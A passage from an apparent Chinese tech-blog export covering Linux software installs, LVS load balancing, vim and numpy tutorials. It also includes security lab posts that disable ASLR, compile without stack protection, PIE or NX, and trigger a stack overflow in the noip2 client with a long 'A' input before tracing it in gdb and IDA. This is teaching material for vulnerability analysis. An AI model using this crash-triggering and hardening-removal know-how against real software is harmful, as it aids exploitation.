https://blog.csdn.net/flydreamzhll/article/details/80900509","categories":[{"name":"pwn","slug":"pwn","permalink":"http://yoursite.com/categories/pwn/"}],"tags":[{"name":"docker","slug":"docker","permalink":"http://yoursite.com/tags/docker/"},{"name":"IDAPro","slug":"IDAPro","permalink":"http://yoursite.com/tags/IDAPro/"}]},{"title":"SoftWareInstall","slug":"SoftWareInstall","date":"2019-10-28T13:51:16.000Z","updated":"2020-03-07T10:15:33.735Z","comments":true,"path":"2019/10/28/SoftWareInstall/","link":"","permalink":"http://yoursite.com/2019/10/28/SoftWareInstall/","excerpt":"软件环境的安装和配置","text":"软件环境的安装和配置 0x00 ubuntu16.04下的python3.7安装 ubuntu16.04默认安装有python3.5和python2.7安装路径在/usr/local/lib下 可以通过如下命令查看python的指向 1ll /usr/bin | grep python 可以知道python的默认指向时python2.7 step1: 下载python3.7 1wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz step2: 解压安装包 1tar -zxvf Pyhon-3.7.1.tgz step3: 编译安装 1234cd Python-3.7.1./configure --prefix=/usr/local/python3.7.1makemake install 经过上面步骤有 文件路径 可执行文件/usr/local/python3.7.1/bin 库文件/usr/local/python3.7/lib 配置文件/usr/local/python3.7/share step4:配置环境变量 123456#查看环境变量echo $PATHvim ~/bashrc#添加如下的语句PATH=$PATH:$HOME/bin:/usr/local/python3.7.1/binsource ~/bashrc step5: 测试:输入python3.7可进入python解释器即可python -V查看版本。或者 123import sysprint(sys.version)print(sys.version_info) zlib模块缺失的解决方法:官网下载zlibwget http://zlib.net/zlib-1.2.11.tar.gz,可以查看最新版本然后解压,配置,安装tar -xvf zlib-1.2.11.tar.gzcd zlib-1.2.11./configuremakemake install最后重新编译安装python3.7 No module named ‘_ctypes’解决方案sudo apt-get install libffi-dev最后重新编译安装python3.7 step6: 修改系统默认指向12345678删除原有链接备份mv /usr/bin/python /usr/bin/python.bak建立新的链接ln -s /usr/local/python3.7.1/bin/python3.7 /usr/bin/python修改pipmv /usr/bin/pip /usr/bin/pip.bak建立新的pipln -s /usr/local/python3.7.1/bin/pip3 /usr/bin/pip 0x01 ubuntu16.04 Java环境配置 首先下载jdk文件:eg:jdk-8u181-linux-x64.tar.gz 新建目录/usr/lib/jdk 解压至该目录 配置环境变量这里选择配置/etc/profile文件在末尾添加如下代码12345#set java envexport JAVA_HOME=/usr/lib/jdk/jdk1.8.0_202export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:$PATH 5 使配置生效source /etc/profile6 测试java -version 0x02 ubuntu16.04 maven安装 下载maven二进制文件:eg:apache-maven-3.6.3-bin.tar.gz 解压到目录/opt/maven。 1tar -zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven 配置maven环境变量vim /etc/profile添加如下代码:使之生效source /etc/profile 123export M2_HOME=/opt/maven/apache-maven-3.5.0export CLASSPATH=$CLASSPATH:$M2_HOME/libexport PATH=$PATH:$M2_HOME/bin 测试mvn -v 修改镜像地址vim /opt/maven/apache-maven-3.5.0/conf/settings.xml修改镜像为阿里云 123456<mirror> <id>nexus-aliyun</id> <mirrorOf>*</mirrorOf> <name>Nexus aliyun</name> <url>http://maven.aliyun.com/nexus/content/groups/public</url></mirror> 0x03 ubuntu16.04 tomcat安装 下载tomcat二进制文件https://tomcat.apache.org/download-70.cgi 移动apache-tomcat-7.0.99.tar.gz并解压到/opt/tomcat目录下 配置tomcat环境变量vim /etc/profile添加如下代码:使之生效source /etc/profile 1export CATALINA_HOME=/opt/tomcat/apache-tomcat-7.0.99 配置utf-8字符集解决中文乱码进入tomcat的conf文件夹,编辑server.xml在配置端口的那个位置加入URIEncoding的选项。 123<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" URIEncoding="UTF-8" /> 测试启动进入bin目录执行./startup.sh可以访问到tomcat:localhost:8080 0x04 ubuntu16.04下的vsftpd安装见单独的页面 0x05 ubuntu16.04下的Ngnix安装见单独的页面 0x06 mysql 安装见连接或者本站搜索或者见单独页面 0x07 ubuntu16.04下的Redis安装见单独的页面 参考文献[1] https://blog.csdn.net/u014775723/article/details/85213793","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"语言环境安装配置","slug":"语言环境安装配置","permalink":"http://yoursite.com/tags/语言环境安装配置/"}]},{"title":"IISFTP","slug":"IISFTP","date":"2019-10-24T08:21:00.000Z","updated":"2019-10-24T01:00:54.000Z","comments":true,"path":"2019/10/24/IISFTP/","link":"","permalink":"http://yoursite.com/2019/10/24/IISFTP/","excerpt":"win10搭建ftp服务实践win10下面用自带的iis搭建ftp服务用于文件传输","text":"win10搭建ftp服务实践win10下面用自带的iis搭建ftp服务用于文件传输 1.开启IIS服务 2.使用搜索功能打开IIS,添加ftp站点经过上面的步骤在本机上是可以访问到文件的,在局域网或者其它网络的机器是无法访问的。接下来继续配置。 1ftp://ip 3.配置防火墙一个简单的方法是关闭防火墙,这里配置其他方法不用关闭防火墙。 3.1 放行21端口点击高级设置入站规则-> 新建规则选择端口,下一步然后一直下一步。 3.2 设置ftp允许通过防火墙然后点击允许其他应用大功告成。","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"},{"name":"字符串格式化漏洞","slug":"字符串格式化漏洞","permalink":"http://yoursite.com/tags/字符串格式化漏洞/"}]},{"title":"printFormat","slug":"printFormat","date":"2019-10-22T06:20:24.000Z","updated":"2019-11-28T03:00:52.000Z","comments":true,"path":"2019/10/22/printFormat/","link":"","permalink":"http://yoursite.com/2019/10/22/printFormat/","excerpt":"字符串格式漏洞入门案例介绍一个格式化字符串漏洞","text":"字符串格式漏洞入门案例介绍一个格式化字符串漏洞 1. 运行环境ubuntu16.04gcc5.4.0gcc-peda 2. 准备工作 关闭ASLR(地址空间布局随机化)1echo 0 > /proc/sys/kernel/randomize_va_space 地址空间布局随机化:每次加载程序到内存中时,进程地址空间的堆栈起始地址动态变化。用来阻止缓冲区溢出的攻击的linux内核参数0:关闭2:打开 禁用栈保护措施和关闭PIE保护1gcc -m32 -fno-stack-protector -no-pie fmt.c PIE:PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题[1] 参考文献[1] https://www.anquanke.com/post/id/177520","categories":[{"name":"pwn","slug":"pwn","permalink":"http://yoursite.com/categories/pwn/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"},{"name":"字符串格式化漏洞","slug":"字符串格式化漏洞","permalink":"http://yoursite.com/tags/字符串格式化漏洞/"}]},{"title":"gccAndgdb","slug":"gccAndgdb","date":"2019-10-09T06:12:03.000Z","updated":"2019-11-27T00:03:34.000Z","comments":true,"path":"2019/10/09/gccAndgdb/","link":"","permalink":"http://yoursite.com/2019/10/09/gccAndgdb/","excerpt":"linux下的c编程工具的使用","text":"linux下的c编程工具的使用 test.c的代码如下: 12345#include<stdio.h>main(){ printf("Hello, World\\n");} 1.gcc工具的使用 不带任何参数1gcc test.c 会在同一个目录下面生成一个a.out文件,输入命令./a.out就可直接运行。 直接经历了四个步骤:预处理Preprocessing,编译Compilation,汇编Assembly,链接Linking。 指定生成的文件名1gcc test.c -o test 不会使用默认的a.out。 gcc保留中间文件gcc编译过程中,会删除中间的文件,可通过下面命令参数来保留各个阶段的文件 1gcc -save_temps test.c gcc生成调试信息 1gcc -g test.c -o test 关闭一些安全手段关闭栈保护和pie,可以加上-g生成一些调试信息 12ehcho 0 > /proc/sys/kernel/randomize_va_spacegcc -m32 -fno-stack-protector -no-pie fmt.c 关闭NX 1gcc -Wall -g -Wl,-zexecstack wall:生成所有的警告信息合成一下,关闭一些安全选项 1gcc -Wall -g -m32 -fno-stack-protector -no-pie -o fmtc fmt.c -Wl,-zexecstack gcc编译生成32bit代码1gcc -m32 hello.c -o hello 如果-m32无法运行,请安装下载相关包 12sudo apt-get install build-essential module-assistant sudo apt-get install gcc-multilib g++-multilib gcc版本信息查看1gcc -v 2.gcc的各个阶段分析2.1 预处理1gcc -E test.c -o test.i 功能:主要处理源代码中以 “#” 开始的预编译指令生成文件:test.i指定参数: -E 2.2 编译123gcc -S test.c -o test.s#或者gcc -S test.i -o test.s 输入的文件可以是源文件,也可以是预处理后的文件功能:对预处理完的文件进行一系列词法分析、语法分析、语义分析及优化后生成相应的汇编代码文件生成文件:test.s指定参数:-S 2.3 汇编123gcc -c test.c -o test.o#或者gcc -c test.s -o test.o 输入的文件可以是源文件,也可以是编译后的文件功能:汇编器将汇编代码转变成机器可以执行的指令生成文件:test.o(不能直接执行)指定参数:-c objdump:一种可阅读的格式让你更多地了解二进制文件(反汇编) objdump -sd hello.o可查看test.o的信息 2.4 链接1gcc test.o -o test 输入文件可以是源文件也可以是汇编后的文件指定参数:无生成文件:test(可以执行)目标文件需要链接一大堆文件才能得到最终的可执行文件通过以下命令可查看反汇编代码 1objdump -d -j .text text 3.gdb的使用测试程序如下test.c: 1234567#include <stdio.h>int main(){ int a = 1; int b = a; printf("a = %d, b =%d\\n", a, b); return 0;} GDB主要帮助你完成下面四个方面的功能: 启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。 可让被调试的程序在你所指定的调置的断点处停住。 当程序被停住时,可以检查此时你的程序中所发生的事。 你可以改变你的程序,将一个BUG产生的影响修正从而测试其他BUG。3.1 gbd调试程序的简易入门操作安装1sudo apt install gdb 启动调试1234#编译文件,加上调试信息。不加参数-g可能无法调试gcc -g test.c -o test#开始启动调试gdb test 拓展: 启动调试的时候输入gdb -tui test会有一个漂亮的交互窗口 调试的操作 注意* :括号内的东西不用输入 显示当前的代码一次10行,继续输入l继续显示。 1(gdb) l 单步1(gdb) start 这个时候会进入程序运行状态,单步运行需要输入n,输入一次执行一条语句。s单步会进入子程序中去。 跳出函数fin123(gdb) finish#或者(gdb) fin 断点+单步启动的时候start程序会在第一行停止。这个时候可以设置断点,如下所示: 123(gdb) b 5(gdb) c #运行程序到断点处,一般在设置完断点后使用(gdb) r #重新运行程序 run 表示在第5行设置断点,输入命令c会直接运行到第5行;其中b后面的参数也可以是一个函数名。可以按照单步的方法继续运行。可以同时设置多个断点 1(gdb) display b 这个display 可以查看变量的值 查看所有断点和删除查看已经设置的断点 123(gdb) info breakpoints#可以简写成(gdb) i b 注意到每一个断点有编号,使用编号可删除断点 1(gdb) delete 2 设置条件断点1(gdb) b 5 if a == 2 观察变量改变的地方12(gdb) watch b(gdb) c 变量内存值被修改的时候会展示出来 反汇编命令123(gdb) disassemble main#可简写成(gdb) disas main 其中的main是一个函数名称。 查看内存格式x/nfu <addr>或者x <addr> n—-指定显示多少单位的内存值,这个单位由u指定f—–显示的格式,与printf格式相同,默认是x表示十六进制,可选的有d,u,s,i….u——单位大小,b(字节),h(双字节),w(四字节),g(八字节)eg 12(gdb) x/10x $esp(gdb) x/100i $0xdddddd 以指令的形式查看内存区域 修改寄存器的值使用set 1(gdb) set $eax=0 可以使用i r查看你所有寄存器的值 3.2 gdb插件—gdb-pedaPEDA(Python Exploit Development Assistance for GDB)是一个强大的 gdb 插件。它提供了高亮显示反汇编代码、寄存器、内存信息等人性化的功能。同时,PEDA 还有一些实用的新命令,比如checksec 可以查看程序开启了哪些安全机制等等。 安装12$ git clone https://github.com/longld/peda.git ~/peda$ echo "source ~/peda/peda.py" >> ~/.gdbinit 4. Linux代码执行漏洞分析实战主要工作:出发一个NoIP本地运行的栈溢出漏洞,用gdb调试工具找出漏洞发生的地点。 4.1 准备NoIP本地栈溢出漏洞 step1 注册NO-IP账号 12https://my.noip.com/#!/accounthttps://www.noip.com step2 在Linux下安装No-ip官网 123456cd /usr/local/srcwget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gztar xzf noip-duc-linux.tar.gzcd no-ip-2.1.9makemake install 由PoC出发漏洞 12gdb noip2run -i $(python -c 'print ("\\x41"*500)') 如果没有触发漏洞,将数值可以加大为1000,直到有漏洞触发 图1 使用静态反汇编工具idaProwin系统下远程连接linux编译文件调试参考文献1 4.2实验过程由图1可知,漏洞发生之前,打印输出了字符串IP address detected on command line.我们先定位到这个字符串输出的位置。 step1: IDAPro远程连接到Noip程序打开搜索框,输入上面的那个字符串进行搜索。 可以看到这里有一个mov操作,之后调用了call Msg。 因此我们在这个地点下一个断点,红色框框对应的地址()。 step2: 切换回linux,设置断点退出之前的gdb, quit重新进入gdb noip2通过第一步得到的地址设置断点1b *0x00000000004021AB 可观察到在源码中对应的行数为line 607 step3: 执行得到漏洞的命令1run -i $(python -c 'print ("\\x41"*1000)') 可以看到在0x4021ab处发生了中断,即我们设置的断点的地方。 step4: 单步执行123ni#或者n 在这个过程中,可以看到运行到了call Msg,并且打印出了字符串继续单步执行,可以看到输出另一串Running in single use mode.如果之前进行了push操作,可以使用命令这可以查看栈顶的的值 123456(gdb) x/10x $esp# 查看内存的值(gdb) x/10x 0x4083b5(视情况)(gdb) x/100x 0x4083b5# 也可以以字符串形式输出内存的值(gdb) x/10s 0x4083b5 step5 继续单步,一直到出现漏洞 可以发现,当程序调用dynamic_update的前中后出现了问题。有可能是在这个函数里面出现问题,也有可能是该函数嵌套的函数出现了问题。得到调用dynamic_update函数的地址为:0x40233c step6: 重新设置断点切换回IDAPro,以此选择jump->jump address输入上面得到的函数地址。切换到graph view按住F5可查看c伪代码。找到调用dynamic_update函数之前的一个地址0x402337,重新设置断点 12(gdb) b *0x0x402337(gdb) run -i $(python -c 'print ("\\x41"*1000)') step7 进入到函数内部这里使用si或者s进行单步。进入到dynamic_update函数后,使用n来单步,确定程序崩溃的地方。 [1] https://blog.csdn.net/lacoucou/article/details/71079552 windows下使用IDA远程调试linux(ubuntu)下编译的程序","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"},{"name":"gcc","slug":"gcc","permalink":"http://yoursite.com/tags/gcc/"}]},{"title":"balanceLvs","slug":"balanceLvs","date":"2019-10-08T00:52:44.000Z","updated":"2019-10-08T05:40:14.000Z","comments":true,"path":"2019/10/08/balanceLvs/","link":"","permalink":"http://yoursite.com/2019/10/08/balanceLvs/","excerpt":"负载均衡之lvs官方文档","text":"负载均衡之lvs官方文档 1.基础知识1.1 linux命令 route 查看本机的路由表 -n 不带地址转换,IP显示route -n netstat -natp 查看本机的TCP链接程序 -n 不进行转换,全以IP地址显示-a 是所有的链接-t tcp链接 arp -a查看MAC地址表 1.2 一些名称 全称 缩写 描述 虚拟IP地址Virtual IP address VIP 提供服务的IP地址,如www.baidu.com通过DNS得到的地址 转发的网络地址Director IP address DIP 负载均衡器上面的IP 真实IP地址Real IP address RIP 后端集群主机 客户端地址IP Client IP address CIP 源IP地址 lvs负载均衡的拓扑结构 说明 负载均衡器工作在网络层,只转发数据包,不进行握手连接 要保证同一个客户端三次握手,四次分手不可分割,即转发到同一个服务器镜像 后端的真实服务器都是镜像,一模一样的。 1.3 模型概述1.3.1 D_NAT与S_NAT客户端请求的数据包源地址和目的地址CIP-VIP当其到达负载均衡器入口时,如果不对该数据包做处理就转发,那么RealServer看到的目的IP地址就是VIP,不属于RealServer的IP,不会做出回应。因此在负载均衡器中需要对数据包中的目的地址进行转换修改目的地址(D_NAT技术),数据包变为CIP-RIP,这个时候RealServer可处理该数据包 问题 此时RealServer建立的Sockt连接是:RIP:Port---CIP:Port,所以响应包的源地址和目的地址是:RIP-CIP。当这个数据包达到客户端的时候,与客户端发的请求包中的地址不对应了? 因此,负载均衡器还需要负责将响应包的源地址修改为VIP(S_NAT技术)。为了实现这个,RealServer的默认网关(default/0.0.0.0)需要指向LVS负载均衡器。 缺点:所有数据(上行,下行)都要经过LVS,I/O瓶颈在这里会产生。可行方案: 每一个RealServer不要将响应数据发给LVS,直接将响应包发给客户端。 1.3.2 DR模型 让RealServer拥有一个VIP这样的IP地址,但是不暴露在公网,自己有一个隐藏的VIP地址 客户端发送CIP-VIP数据包,经过LVS到达RealServer,因为RealServre有一个隐藏的VIP地址,所以会接收该数据包,然后将响应包VIP-CIP直接发送给客户端,不用通过lvs负载均衡器。 问题: 客户端的数据包是CIP-VIP,RealServer暴露的IP是RIP,lvs如何将客户端数据包发给RealServer。 解答: 通过arp欺骗。lvs与RealServer必须在同一个局域网内 缺点 :要求lvs与RealServer在同一个局域网内,对分布在地理位置不同的数据中心无法做负载均衡。 1.3.3 Tunnel与VPN模型客户端发出数据包CIP-VIP。数据包到达lvs的时候,建立一个新的请求,发送数据包DIP-RIP,这个数据包会将客户端的所有数据都封装起来。然后通过公网到RealServer。RealServer会拆包,得到里面的CIP-VIP请求。自己有隐藏的VIP地址。 1.4 linux隐藏IP的方法对内可见,对外隐藏。需要隐藏的IP配置到外部无法访问的网卡上就是lo网卡,环回接口注意:一个网卡可以添加多个IP地址,所以环回地址127.0.0.1不受影响。 基础知识:在一个局域网内,如果主机A的arp表中无主机B的mac地址且要发送数据包到主机B,就会进行arp请求。这个时候主机B会发送响应请求,告诉主机A它的IP和对应的MAC地址。 配置文件:/proc/sys/net/ipv4/conf/ 对于arp_ignore控制系统在收到外部的arp请求时,是否要返回arp响应,配置为1 arp_ignore为0:回应任何网络接口(网卡)上对任何本机IP地址的arp查询请求为1:只回答目标IP地址是本机上来访网络接口(网卡)IP地址的ARP查询请求 。比如eth0=192.168.0.1/24,eth1=10.1.1.1/24,那么即使eth0收到来自10.1.1.2这样地址发起的对192.168.0.1的查询会回应,而对10.1.1.1 的arp查询不会回应。 arp_announce定义将自己地址向外通告时的通告级别,配置为2 0:将本地任何接口上的任何地址向外通告;1:试图仅向目标网络通告与其网络匹配的地址;2:仅向与本地接口上地址匹配的网络进行通告 2. DR实验2.1 lvs简介lvs: Linux Virtual Server,linux虚拟服务器。核心程序:ipvs(嵌入到了Linux内核中)管理程序:ipvsadm调度算法: 调度方式英文描述 静态调度轮询调度Round Robin 简称'RR'依次循环的方式将请求调度到不同的服务器上 加权轮询调度Weight Round Robin 简称'WRR'权值越高的服务器,处理的请求越多 目标地址散列调度Destination Hashing 简称'DH'算法先根据请求的目标IP地址,作为散列键(Hash Key)从静态分配的散列表找出对应的服务器,若该服务器是可用的且并未超载,将请求发送到该服务器,否则返回空 源地址散列调度Source Hashing 简称'SH'先根据请求的源IP地址,作为散列键(Hash Key)从静态分配的散列表找出对应的服务器,若该服务器是可用的且并未超载,将请求发送到该服务器,否则返回空。 动态调度最小连接调度Least Connections 简称'LC'新的连接请求分配到当前连接数最小的服务器 加权最小连接调度Weight Least Connections 简称'WLC'加权最小连接调度在调度新连接时尽可能使服务器的已建立连接数和其权值成比例。调度器可以自动问询真实服务器的负载情况,并动态地调整其权值 最短的期望的延迟Shortest Expected Delay 简称'SED'请求交给得出运算结果最小的服务器 最少队列调度Never Queue 简称'NQ'无需队列。如果有realserver的连接数等于0就直接分配过去,不需要在进行SED运算。 带复制的基于局部性的最少连接Locality-Based Least Connections with Replication 简称'LBLCR'按'最小连接'原则从该服务器组中选出一一台服务器,若服务器没有超载,将请求发送到该服务器;若服务器超载,则按'最小连接'原则从整个集群中选出一台服务器,将该服务器加入到这个服务器组中,将请求发送到该服务器。同时,当该服务器组有一段时间没有被修改,将最忙的服务器从服务器组中删除,以降低复制的程度。 基于局部的最少连接Locality-Based Least Connections 简称'LBLC'LBLC调度算法先根据请求的目标IP地址找出该目标IP地址最近使用的服务器,若该服务器是可用的且没有超载,将请求发送到该服务器;若服务器不存在,或者该服务器超载且有服务器处于一半的工作负载,则使用'最少连接'的原则选出一个可用的服务器,将请求发送到服务器。 2.2 ipvsadm的使用配置主要分为两个阶段,第一配置哪些数据包需要进行转发,第二配置数据包转发到哪里去。 安装管理模块 1centOS: yum install ipvsadm -y 配置哪些数据包需要lvs转发 1234格式: ipvsadm -A -t|u|f ServerAddress [-s schduler]-t: tcp协议的集群 地址为IP:PORT-u: udp协议的集群 地址为IP:PORT-f: 防火墙标记 地址为MarkNumber eg:ipvsadm -A -t 192.168.10.10:80 -s rr 目的地址为192.168.10.10:80的tcp协议的数据包需要进行lvs,使用rr调度算法进行负载均衡。 配置数据包转发到RealServer1234567格式:ipvsadm -a -t|u|f service-address -r server-address [-g|i|m] [-w weight]前部分是配置的哪些数据包需要lvs转发,即配置的集群服务-r 该参数后面是RealServer的地址,可以是IP:PORT-g DR模式-i Tunnel模式-m NAT模式-w 该参数和值定义服务器权重 eg: ipvsadm -a -t 192.168.10.10:80 -r 192.168.10.8 –g 2.3 实验拓扑蓝色的路径是请求数据包的路线,绿色的是响应数据包的路线。忽略了网关。 2.4 实验过程 step1: 三台虚拟机,eth0在同一个网络192.168.10.0 step2: 配置node1(lvs)的VIP12ifconfig eth0:0 192.168.10.10/24echo “1” > /proc/sys/net/ipv4/ip_forward 注意:当计算机收到一个目的地址不属于自己IP的数据包时候默认会丢弃,因此lvs这个需要设置ip_forward的值为1,充当路由器的功能,将数据包转发出去。 step3: 修改RealServer的arp响应和通告级别 12345echo “1” > /proc/sys/net/ipv4/ip_forwardecho 1 > /proc/sys/net/ipv4/conf/eth0/arp_ignoreecho 2 > /proc/sys/net/ipv4/conf/eth0/arp_announceecho 1 > /proc/sys/net/ipv4/conf/all/arp_ignoreecho 2 > /proc/sys/net/ipv4/conf/all/arp_announce step4: 配置每一台RealSerer的VIP(隐藏IP)1ifconfig lo:8 192.168.10.10 netmask 255.255.255.255 注意: 响应和通告级别一定要先配置,不然VIP后被通告出去。 至此,三个节点的信息如下 step5: 启动RrealServer上的httpd123yum install httpd -y#启动命令service httpd start 静态网页的路径/var/www/html #参考文献[1] http://www.linuxvirtualserver.org/zh/index.html[2] https://www.cnblogs.com/gaoxu387/p/7941381.html[3] https://blog.csdn.net/weixin_40470303/article/details/80541639","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"http://yoursite.com/tags/Linux/"}]},{"title":"configurationARGS","slug":"configurationARGS","date":"2019-10-07T07:24:00.000Z","updated":"2019-10-08T19:49:14.000Z","comments":true,"path":"2019/10/07/configurationARGS/","link":"","permalink":"http://yoursite.com/2019/10/07/configurationARGS/","excerpt":"常用配置参数1. vim的配置参数","text":"常用配置参数1. vim的配置参数 针对每一个用户修改,在/etc/vimrc中是所有用户生效 1vim ~/.vimrc 输入如下配置: 12345678910111213141516171819202122232425262728293031323334353637"关闭vim一致性原则set nocompatible"显示行号set number"设置在编辑过程中右下角显示光标的行列信息set ruler"在状态栏显示正在输入的命令set showcmd"设置历史记录条数set history=1000"设置取消备份 禁止临时文件的生成set nobackupset noswapfile"设置匹配模式set showmatch"设置C/C++方式自动对齐set autoindentset cindent"开启语法高亮功能syntax on"指定配色方案为256色set t_Co=256"设置搜索时忽略大小写set ignorecase"配置backspace的工作方式set backspace=indent,eol,start"设置在vim中可以使用鼠标set mouse=a"设置tab宽度set tabstop=4"设置自动对齐空格数set shiftwidth=4"设置退格键时可以删除4个空格set smarttabset softtabstop=4"将tab键自动转换为空格set expandtab 最后使配置生效 1source ~/.vimrc","categories":[{"name":"tool","slug":"tool","permalink":"http://yoursite.com/categories/tool/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"},{"name":"conf","slug":"conf","permalink":"http://yoursite.com/tags/conf/"}]},{"title":"pytorchEnvInUbuntu1604","slug":"pytorchEnvInUbuntu1604","date":"2019-10-07T02:53:23.000Z","updated":"2019-12-07T04:09:08.000Z","comments":true,"path":"2019/10/07/pytorchEnvInUbuntu1604/","link":"","permalink":"http://yoursite.com/2019/10/07/pytorchEnvInUbuntu1604/","excerpt":"ubuntu16.04中搭建PyTorch环境官网链接","text":"ubuntu16.04中搭建PyTorch环境官网链接 1.选择的环境 Anaconda原因:python搭建torch,numpy等模块太费劲,需要下载源代码编译安装等。直接选择anaconda比较简单。不需要处理复杂的包依赖关系 2.安装过程 step1: 安装Anaconda 123# The version of Anaconda may be different depending on when you are installing`curl -O https://repo.anaconda.com/archive/Anaconda3-5.2.0-Linux-x86_64.shsh Anaconda3-5.2.0-Linux-x86_64.sh step2: 使配置文件生效 1source ~/.bashrc 还可以通过重启来使之生效reboot step3: 安装pyTorch 1conda install pytorch torchvision cpuonly -c pytorch 3.安装过程的一些麻烦事Anaconda安装后默认使用它带的python环境,为了不影响其他python程序的运行,如(VNCServer),会出现终端调不出来的情况。需要重新配置环境变量。找到~/.bashrc文件中的如下语句(路径可能随系统不同而变化): 1export PATH="/root/anaconda2/bin:$PATH" 修改为下面的语句: 1export PATH="$PATH:/root/anaconda2/bin" 这个时候在终端运行python --version是系统配置的python环境了,需要anaconda的python环境,只需要找到anaconda安装目录下的bin文件即可。","categories":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/categories/linux/"}],"tags":[{"name":"linux","slug":"linux","permalink":"http://yoursite.com/tags/linux/"},{"name":"PyTorch","slug":"PyTorch","permalink":"http://yoursite.com/tags/PyTorch/"}]},{"title":"numpyPractice","slug":"numpyPractice","date":"2019-10-05T12:08:05.000Z","updated":"2019-10-05T04:10:52.000Z","comments":true,"path":"2019/10/05/numpyPractice/","link":"","permalink":"http://yoursite.com/2019/10/05/numpyPractice/","excerpt":"numpy (Numerical Python)数值计算基础官网链接","text":"numpy (Numerical Python)数值计算基础官网链接 一. 简介 python 语言数值计算扩充库 强大的高维数组处理和矩阵运算能力 NumPy 的主要对象是多维数组 Ndarray 二. 应用demo1.导入模块与查看版本信息12import numpy as npprint(np.__version__) 2.创建数组 主要创建数组的途径 从 Python 数组结构列表,元组等转换。 使用 np.arange、np.ones、np.zeros 等 NumPy 原生方法。 从存储空间读取数组。 通过使用字符串或缓冲区从原始字节创建数组。 使用特殊函  数,如 random。 2.1 通过列表创建数组123456# 一维数组a = np.array([1, 2, 3])print(a)# 二维数组b = np.array([(1, 2, 3), (4, 5, 6)])print(b) 2.2 使用原生方法1234567#创建全为0的数组a = np.zeros((3, 3))print(a)#创建全为1的数组b = np.ones((2, 2, 4))print(b) 说明 : numpy.ones(shape, dtype=None, order=’C’),shape指定数组的形状,每个轴的长度 12345678910#创建一维等差数组a = np.arange(5)print(a)# 结果:[0 1 2 3 4]#创建二维等差数组b = np.arange(6).reshape(2, 3)print(b)# 结果:[[0 1 2]# [3 4 5]] arange说明 格式: numpy.arange(start, stop, step, dtype=None) [start, stop) 半开半闭区间内创建一系列均匀间隔的值 1234567# 创建二维单位阵a = np.eye(3)print(a)# 结果:# [[1. 0. 0.]# [0. 1. 0.]# [0. 0. 1.]] eye说明 格式: numpy.eye(N, M=None, k=0, dtype=<type ‘float’>) k:对角线索引:0(默认)是指主对角线,正值是指上对角线,负值是指下对角线 1234# 创建等间隔的一维数组a = np.linspace(1, 10, num=7)print(a)# 结果 [ 1 2.5 4 5.5 7 8.5 10. ] linspace说明 格式: numpy.linspace(start, stop, num=50, endpoint=True, retstep=False, dtype=None) 同arange endpoint 指示是否最后一个样本包含在序列内 2.3 使用特殊函数创建数组123456# 创建二维随机数组a = np.random.rand(2, 3)print(a)# 结果: [[0.72448631 0.19235668 0.00701753] [0.05801567 0.9642479 0.22793563]] rand()说明 括号内指定数组的形状 使用[0, 1)之间的数随机填充 123456# 创建二维随机数组(数值<5)a = np.random.randint(5, size=(2, 4))print(a)# 结果:[[3 1 2 0] [1 4 2 2]] randint()说明 格式: randint(low, high, size, dtype) 生成[low, high) 的随机数一维数组的时候size参数可直接填数字 eg:randint(1, 3, 10) 2.4 从已知数据创建1234567# 使用lambda创建数组a = np.fromfunction(lambda i, j: i + j, (3, 3))print(a)# 结果:#[[0. 1. 2.]#[1. 2. 3.]#[2. 3. 4.]] fromfunction说明格式: fromfunction(function,shape):通过函数返回值来创建多维数组 3. 数组运算3.1 一维数组的四则运算生成两个Ndarry 123a = np.array([10, 20, 30, 40, 50])b = np.arange(1, 6)#b数组:[1 2 3 4 5] 123456c = a + bprint("c: ", end="")#结果: [11 22 33 44 55]c = a - bc = a * bc = a / b 注意 :数组大小不一样会发生异常 3.2 二维数组(矩阵)的运算生成两个Ndarry 12a = np.array([[1, 2], [3, 4]])b = np.array([[5, 6], [7, 8]]) 同一维数组一样,可以进行个元素分别的四则运算 12c = a + bc = a * b 但是矩阵乘法是不一样的: 矩阵m*n与矩阵n*p的矩阵是m*p 1234#矩阵乘法c = np.dot(a, b)c = np.mat(a) * np.mat(b) 注意这里的a, b都是二维数组,所以用dot进行运算可以使用np.mat(a)将二维数组转换为矩阵,直接使用* 12345678# 矩阵数乘c = 2 * a# 矩阵转置c = a.T# 矩阵求逆c = np.linalg.inv(a) np.linalg中涉及到矩阵的计算方法,求解特征值、特征向量、逆矩阵等 4. 数组索引和切片4.1 一维数组一个一维数组 1a = np.array([1, 2, 3, 4, 5]) 一维数组索引 12print(a[0], a[-1])# 结果: 1 5 一维数组切片 1234567a = np.array([1, 2, 3, 4, 5])print(a[0:2])# 结果 [1 2]print(a[:-1])# 结果 [1 2 3 4] 4.2 二维数组一个二维数组 1a = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)]) 二维数组索引 123456a = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)])print(a[0])# 结果: [1 2 3]print(a[-1])# 结果: [7 8 9] 二维数组切片 12345678910a = np.array([(1, 2, 3), (4, 5, 6), (7, 8, 9)])print(a[0:3, 1]) #等价于a[:, 1]# 结果: [2 5 8] 取第2列# 取第二三行print(a[1:3, :])# 结果:# 